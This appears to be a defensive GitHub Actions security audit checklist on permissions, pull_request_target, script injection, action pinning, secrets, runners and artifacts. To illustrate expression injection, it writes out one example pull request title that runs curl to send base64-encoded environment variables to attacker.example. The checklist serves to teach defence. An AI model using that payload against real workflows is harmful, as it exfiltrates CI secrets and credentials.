Skip to content

GitHub Actions Security Checklist

CI is the part of an engineering estate that executes arbitrary code, with credentials, on machines that can frequently reach production. It is also the part with the least governance, because it grew organically and nobody has ever enumerated what runs.

This is an audit checklist. Each item states the attack it prevents, because a checklist you can’t reason about becomes a ritual.

Every section below links the GitHub documentation it summarises, so each item can be checked against the primary source. This page is also laid out to print.

Primary source: GitHub Docs

  • Default workflow permissions set to read-only at organisation level.
  • Workflows request additional scopes explicitly, at job level rather than workflow level.
  • “Allow GitHub Actions to create and approve pull requests” is off.
  • No workflow uses permissions: write-all.

Why. The workflow token is available to every step, including third-party actions. A token with contents: write lets a compromised step push commits; with actions: write it can rewrite workflows to persist. Read-only by default converts a broad standing grant into an explicit, reviewable request — one setting, estate-wide.

Primary source: GitHub Docs

  • No workflow checks out fork PR code and has access to secrets.
  • Every pull_request_target usage reviewed individually and justified.
  • No pull_request_target combined with ref: github.event.pull_request.head.sha.
  • Privileged follow-up work uses the artifact + workflow_run split.
  • Approval required for first-time contributors’ workflow runs.

Why. pull_request runs in the fork’s context with no secrets — that is what makes accepting contributions safe. pull_request_target runs in the base repository’s context with full secrets and a write token. Checking out PR head code under it and running any build step executes attacker-supplied code with your credentials present. This is the single highest-severity pattern in Actions, and it is not rare.

Primary source: GitHub Docs

  • No ${{ }} interpolation of user-controllable text directly inside run:.
  • Untrusted values passed via env: and referenced as shell variables.
  • Audited: PR titles and bodies, branch and tag names, issue content, commit messages, review comments.

Why. Expressions are substituted before the shell sees the script. A pull request titled a"; curl -d "$(env | base64)" https://attacker.example ; # becomes part of the command. This needs no fork and no unusual trigger — just one workflow that echoes a title. Passing through env: makes the value data rather than code.

Primary source: GitHub Docs

  • Third-party actions pinned to a full commit SHA, not a tag or branch.
  • An allow list configured at organisation or enterprise level.
  • New actions reviewed before first use — what it does, who maintains it, what it requests.
  • Secrets passed to third-party actions are the minimum they need.
  • Dependabot configured to update pinned action SHAs.

Why. @v3 is a mutable pointer. The maintainer — or anyone who compromises the repository — can move it to different code, which then runs with your job’s permissions on your next build. Pinning to a SHA is the difference between a reviewed dependency and a trusted one. An allow list is also your fastest response when a popular action is disclosed as compromised.

Primary source: GitHub Docs

  • Production credentials in environments with required reviewers, not repository secrets.
  • OIDC used for cloud authentication instead of stored long-lived keys.
  • Repository and organisation secrets inventoried; unused ones removed.
  • No secret ever echoed, printed, or written to an artifact.
  • persist-credentials: false on checkout where no later Git command needs auth.

Why. A repository secret is readable by every workflow in that repository, including one added by a pull request from anyone with write access. An environment secret can require human approval and restrict which branches may deploy. OIDC removes the stored credential entirely — the strongest form of this control, because there is nothing left to leak.

Primary source: GitHub Docs

  • Self-hosted runners never reachable by public repositories.
  • Runner groups scoped by what the runner can reach, not by which team owns it.
  • Ephemeral runners — each job in a fresh environment.
  • Cloud instance metadata endpoint blocked from runner jobs.
  • Runners patched; registration tokens treated as credentials.

Why. A self-hosted runner is a machine on your network. Anyone can fork a public repository and open a pull request; if that triggers a job on your runner, anyone can execute code inside your perimeter. Persistent runners additionally carry state between jobs — cached credentials, leftover files — which is a lateral movement path between teams.

Primary source: GitHub Docs

  • CODEOWNERS covers .github/workflows/ so CI changes need nominated review.
  • Required workflows defined centrally via rulesets, so a repository cannot remove them.
  • Audit log alerting on workflow file modifications.

Why. A workflow file lives in the repository it governs. Anyone who can merge to the default branch can change what CI does — removing a scan, adding an exfiltration step, or granting the job more permissions. Branch protection is therefore the real control, and a workflow change is the classic persistence mechanism for a compromised credential.

Primary source: GitHub Docs

  • Artifacts contain no credentials, tokens or .env files.
  • Artifact retention set deliberately rather than left at the default.
  • Downloaded artifacts treated as untrusted input — never executed by a privileged job.
  • Build provenance attestations generated for released artifacts.

Why. Artifacts are downloadable by anyone with repository read access, and they persist. An artifact built from untrusted code and then executed by a privileged workflow is the same vulnerability as running fork code directly, one step removed.

Primary source: GitHub Docs

  • Lockfiles committed and used (npm ci, not npm install).
  • Dependency review on pull requests.
  • Dependabot alerts enabled and acted on.
  • Releases signed or attested.
  • A route to respond to a critical advisory in days.

Why. Your workflow is only as trustworthy as everything it installs. A compromised transitive dependency executes with the same permissions as your job, and postinstall scripts run before any test does.

Primary source: GitHub Docs

  • Inventory: which repositories have workflows, which actions they use, at what versions.
  • Pipeline logic centralised in reusable workflows so one fix reaches every caller.
  • Organisation-level Actions policies configured deliberately.
  • Self-hosted runner inventory current — no runners nobody claims.

Why. At scale the binding constraint is not knowing what runs. A fleet-wide search for uses: is usually the most productive hour available, and centralising pipeline logic converts a fleet-wide security fix from a quarter-long campaign into a single commit.

Reading a checklist and finding these in a real workflow are different skills.